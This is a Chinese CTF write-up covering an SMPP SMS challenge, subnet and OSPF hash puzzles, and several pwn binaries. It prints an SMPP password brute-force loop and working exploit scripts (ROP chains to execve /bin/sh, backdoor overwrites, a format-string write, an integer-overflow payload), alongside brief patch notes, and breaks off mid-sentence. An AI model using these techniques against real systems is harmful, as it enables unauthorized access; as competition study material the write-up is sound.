METADATA文件中有一个example代码,修改绑定IP和端口,输入账号密码。(题干已给出)
然后根据题干要求修改短信内容和源地址、目的地址,依次发送两个短信,刷新8888端口http服务,可以看到flag文件。
import logging
import sys
import smpplib.gsm
import smpplib.client
import smpplib.consts
# if you want to know what's happening
logging.basicConfig(level='DEBUG')
# Two parts, UCS2, SMS with UDH
parts, encoding_flag, msg_type_flag = smpplib.gsm.make_parts(u'Привет мир!\n'*10)
client = smpplib.client.Client('example.com', SOMEPORTNUMBER, allow_unknown_opt_params=True)
# Print when obtain message_id
client.set_message_sent_handler(
lambda pdu: sys.stdout.write('sent {} {}\n'.format(pdu.sequence, pdu.message_id)))
client.set_message_received_handler(
lambda pdu: sys.stdout.write('delivered {}\n'.format(pdu.receipted_message_id)))
client.connect()
client.bind_transceiver(system_id='login', password='secret')
for part in parts:
pdu = client.send_message(
source_addr_ton=smpplib.consts.SMPP_TON_INTL,
#source_addr_npi=smpplib.consts.SMPP_NPI_ISDN,
# Make sure it is a byte string, not unicode:
source_addr='SENDERPHONENUM',
dest_addr_ton=smpplib.consts.SMPP_TON_INTL,
#dest_addr_npi=smpplib.consts.SMPP_NPI_ISDN,
# Make sure thease two params are byte strings, not unicode:
destination_addr='PHONENUMBER',
short_message=part,
data_coding=encoding_flag,
esm_class=msg_type_flag,
registered_delivery=True,
)
print(pdu.sequence)
# Enters a loop, waiting for incoming PDUs
client.listen()
地址计算
掩码为255.255.0.0,网络地址取前16位,后16位置0,得到网络地址为:172.30.0.0,使用md5加密得到答案为:e945964770a0fd6f0dbbcd9622f2e63f。
ospf密钥获取
从pcap包中提取ospf密码hash值,借助kali的john工具进行md5爆破后即可得到密码。
答案即为flag{yuio}
短信中心密码爆破
编写smpplib登录脚本,遍历密码字典中的密码,若登录异常则继续爆破,直到登录无异常,即得到正确的密码。
import logging
import sys
import smpplib.gsm
import smpplib.client
import smpplib.consts
# if you want to know what's happening
logging.basicConfig(level='DEBUG')
# Two parts, UCS2, SMS with UDH
parts, encoding_flag, msg_type_flag = smpplib.gsm.make_parts(u'Привет мир!\n'*10)
client = smpplib.client.Client('172.16.9.37', 2776, allow_unknown_opt_params=True)
# Print when obtain message_id
client.set_message_sent_handler(
lambda pdu: sys.stdout.write('sent {} {}\n'.format(pdu.sequence, pdu.message_id)))
client.set_message_received_handler(
lambda pdu: sys.stdout.write('delivered {}\n'.format(pdu.receipted_message_id)))
client.connect()
with open ('password_dict.txt','r')as f:
for i in f.readlines():
i=i.strip()
try:
client.bind_transceiver(system_id='admin', password=i)
print(i)
break
except:
continue
答案为flag{sikx}
RHG部分我们没有准备自动化工具,全靠手速。
由于本次rhg题目大多为静态编译且去符号,为了更方便直观进行程序分析,我们在赛前下载了对应版本的sig(libc6_2.23-0ubuntu3_i386.sig)放入IDA安装目录的sig/pc目录下,在使用IDA分析时可导入sig,可自动帮助识别libc函数。
和上午测试的pwn01一样,简单的栈溢出。
直接ropchain一把梭。使用ROPgadget得到rop链后构造exp。
ROPgadget --binary r2 --ropchain
from pwn import *
from struct import *
sh=process('./r2')
sh.recv()
p=b'a'*0x6c
p += pack('<I', 0x0806f83b) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080b8eb6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f83b) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x080b8eb6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f83b) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080495a3) # xor eax, eax ; ret
p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080df8bd) # pop ecx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x0806f83b) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x080495a3) # xor eax, eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0807b2f6) # inc eax ; ret
p += pack('<I', 0x0806d443) # int 0x80
sh.sendline(p)
sh.interactive()
溢出点和pwn02一样,但是加了限制,payload中不能有BINSHbinsh中的任意字符。
通过read函数将/bin/sh写入bss段中,再使用系统调用执行execve即可获得shell。
from pwn import *
from struct import pack
pop_eax=0x080b8f16
int80=0x0806d4a3
pop_ebx=0x080481c9
pop_ecx=0x080df91d
pop_edx=0x0806f89b
read=0x0806DE00
main=0x80488CE
bss=0x080EBF80
sh=process('./r3')
sh.recv()
p=b'a'*0x74+p32(read)+p32(main)+p32(0)+p32(bss)+p32(8)
sh.send(p)
sh.recv()
sh.send(b"/bin/sh\x00")
p=b'a'*0x74
p+=flat([pop_eax,0xb,pop_ebx,bss,pop_ecx,0,pop_edx,0,int80])
sh.send(p)
sh.interactive()
存在栈溢出点和后门函数,修改ret地址为shell地址即可。
from pwn import *
sh=process('./r4')
shell=0x080485BD
sh.recv()
payload=b'a'*0x6c+p32(shell)
sh.send(payload)
sh.interactive()
根据代码可知,v0为输入字符串的第16个字符后的字符串,转为整数后+5计算得到,即为输入任意16个字符后,输入85140即可获得shell。
from pwn import *
sh=process('./r5')
payload='1'*16+'85140'
sh.send(payload)
sh.interactive()
和pwn05逻辑差不多,输入12345即可拿到shell。
分析下来其实是一道嵌套了后门函数的迷宫题,从后门函数一步步回溯到入口函数,倒推回去即可得到正确的路径。
......
得到路径为:WSDWAAWDW
from pwn import *
sh=process('./r7')
sh.recv()
sh.send('WSDWAAWDW')
sh.interactive()
格式化字符串漏洞,利用pwntools的工具将0x80ebf9c处的变量改为28即可得到shell。
from pwn import *
sh=process('./r8')
sh.recv()
context.arch = 'i386'
payload=fmtstr_payload(4,{0x80ebf9c:28},0,write_size='byte')
sh.send(payload)
sh.interactive()
通过整数溢出绕过长度限制,构造长度为263的输入,263转为int8后由于溢出会变成7,strcpy即可造成v2缓冲区溢出。
from pwn import *
from struct import pack
sh=process('./r9')
sh.recv()
sh.sendline('1')
sh.recv()
p=b'a'*29
p += pack('<I', 0x0806fe3b) # pop edx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805558b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806fe3b) # pop edx ; ret
p += pack('<I', 0x080eb064) # @ .data + 4
p += pack('<I', 0x0805c34b) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805558b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806fe3b) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x08049643) # xor eax, eax ; ret
p += pack('<I', 0x0805558b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080eb060) # @ .data
p += pack('<I', 0x080e0151) # pop ecx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x0806fe3b) # pop edx ; ret
p += pack('<I', 0x080eb068) # @ .data + 8
p += pack('<I', 0x08049643) # xor eax, eax ; ret
p += pack('<I', 0x0807b8f6) # inc eax ; ret
p += pack('<I', 0x0807b8f6) # inc eax ; ret
p += pack('<I', 0x0807b8f6) # inc eax ; ret
p += pack('<I', 0x0807b8f6) # inc eax ; ret
p += pack('<I', 0x0807b8f6) # inc eax ; ret
p += pack('<I', 0x0807b8f6) # inc eax ; ret
p += pack('<I', 0x0807b8f6) # inc eax ; ret
p += pack('<I', 0x0807b8f6) # inc eax ; ret
p += pack('<I', 0x0807b8f6) # inc eax ; ret
p += pack('<I', 0x0807b8f6) # inc eax ; ret
p += pack('<I', 0x0807b8f6) # inc eax ; ret
p += pack('<I', 0x0806da13) # int 0x80
p+=b'\x90'*102
sh.send(p)
print(len(p))
sh.interactive()
IDA分析程序,发现输入0时,会调用后门函数。
直接输入0即可获得shell。
漏洞:free指针后未置空、堆内写入大小未作限制。
修复:
1.将free后的指针清空。
2.对写入堆中的长度做限制。
分析程序发现为迷宫题,并且可以对迷宫中所在位置的值进行修改。
迷宫如下所示,2为墙,由于四周的墙不完全封闭,可以导致坐标溢出到迷宫之外的地址,实现任意地址覆盖。
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 9, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0]
[0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]
[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0]
修复方式即对坐标进行校验,如超出迷宫范围则退出。
在eh_frame段增加校验代码: